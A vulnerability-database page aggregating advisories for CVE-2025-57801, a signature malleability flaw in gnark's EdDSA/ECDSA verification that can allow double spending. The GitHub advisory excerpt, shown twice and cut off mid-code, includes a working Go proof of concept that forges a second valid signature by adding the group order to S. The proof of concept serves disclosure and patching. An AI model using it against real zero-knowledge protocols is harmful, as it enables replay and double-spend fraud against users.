CVE-2025-57801
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.6
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.
- Record
CVE-2025-57801- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2025-25624
8.6
gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.
- Record
EUVD-2025-25624- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-95v9-hv42-pwrj
8.6
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.
Impact
Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.
Exploitation
package main
import (
"crypto/rand"
"fmt"
"math/big"
"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"
te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)
// Circuit
type eddsaCircuit struct {
Msg frontend.Variable `gnark:",public"`
Pk stdEddsa.PublicKey `gnark:",public"`
Sig stdEddsa.Signature
}
func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}
func groupOrder() *big.Int {
// BN254 scalar field order (r)
const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}
// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()
var forged eddsaCrypto.Signature
forged.R = sig.R
s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)
buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}
func main() {
// Generate key pair
priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")
// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)
var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order
// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}
pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}
// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())
// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())
witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}
proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}
// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)
witness2, err :=…
- Record
GHSA-95v9-hv42-pwrj- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
8.6
gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.
- Record
CVE-2025-57801- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-347
- Updated
- 2026-11-02
OSV
8.6
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S < order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.
- Record
CVE-2025-57801- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVGHSA-95v9-hv42-pwrj
8.6
gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks
In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.
Impact
Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.
Exploitation
package main
import (
"crypto/rand"
"fmt"
"math/big"
"github.com/consensys/gnark-crypto/ecc"
mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"
"github.com/consensys/gnark/backend/groth16"
"github.com/consensys/gnark/frontend"
"github.com/consensys/gnark/frontend/cs/r1cs"
"github.com/consensys/gnark/std/algebra/native/twistededwards"
stdMimc "github.com/consensys/gnark/std/hash/mimc"
stdEddsa "github.com/consensys/gnark/std/signature/eddsa"
te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)
// Circuit
type eddsaCircuit struct {
Msg frontend.Variable `gnark:",public"`
Pk stdEddsa.PublicKey `gnark:",public"`
Sig stdEddsa.Signature
}
func (c *eddsaCircuit) Define(api frontend.API) error {
curve, _ := twistededwards.NewEdCurve(api, te.BN254)
hasher, _ := stdMimc.NewMiMC(api)
stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
return nil
}
func groupOrder() *big.Int {
// BN254 scalar field order (r)
const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
n, _ := new(big.Int).SetString(rStr, 10)
return n
}
// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
order := groupOrder()
var forged eddsaCrypto.Signature
forged.R = sig.R
s := new(big.Int).SetBytes(sig.S[:])
s.Add(s, order)
buf := make([]byte, 32)
copy(buf[32-len(s.Bytes()):], s.Bytes())
copy(forged.S[:], buf)
return forged
}
func main() {
// Generate key pair
priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
pub := priv.PublicKey
msg := []byte("multi-witness")
// Create honest signature
h := mimcHash.NewMiMC()
h.Write(msg)
rawSig, _ := priv.Sign(msg, h)
var honest eddsaCrypto.Signature
honest.SetBytes(rawSig)
forged := forge(honest) // S + order
// Setup: Compile circuit and do trusted setup
circuit := &eddsaCircuit{}
ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
if err != nil {
fmt.Printf("Circuit compilation failed: %v\n", err)
return
}
pk, vk, err := groth16.Setup(ccs)
if err != nil {
fmt.Printf("Trusted setup failed: %v\n", err)
return
}
// Public inputs (same for both witnesses)
var public eddsaCircuit
public.Msg = new(big.Int).SetBytes(msg)
public.Pk.Assign(te.BN254, pub.Bytes())
// witness 1: honest signature
w1 := public
w1.Sig.Assign(te.BN254, honest.Bytes())
witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
if err != nil {
fmt.Printf("Failed to create witness1: %v\n", err)
return
}
proof1, err := groth16.Prove(ccs, pk, witness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
publicWitness1, err := witness1.Public()
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
err = groth16.Verify(proof1, vk, publicWitness1)
if err != nil {
fmt.Println("Witness 1 (honest): Prover failed!")
} else {
fmt.Println("Witness 1 (honest): Prover succeeded!")
}
}
}
// witness 2: forged signature
w2 := public
w2.Sig.Assign(te.BN254, forged.Bytes())
fmt.Println(honest.R.Equal(&forged.R))
fmt.Println(honest.S != forged.S)
witness2, err :=…
- Record
GHSA-95v9-hv42-pwrj- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVGO-2025-3912 No score
Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark
Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark
- Record
GO-2025-3912- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/consensys/gnarkGo |
before 0.14.0 | 0.14.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-57801 is a high vulnerability (CVSS 8.6) in Consensys Gnark, published August 22, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in github.com/consensys/gnark 0.14.0.
References
github.com/Consensys/gnark/security/advisories/GHSA-95v9-hv42-pwrj
github.com/Consensys/gnark/commit/0ba6730f05537a351517998add89a61a0d82716e
nvd.nist.gov/vuln/detail/CVE-2025-57801
pkg.go.dev/vuln/GO-2025-3912
github.com/advisories/GHSA-95v9-hv42-pwrj
github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57801.json
github.com/Consensys/gnark
Left out here: the rest of 2 source descriptions. The JSON record has them.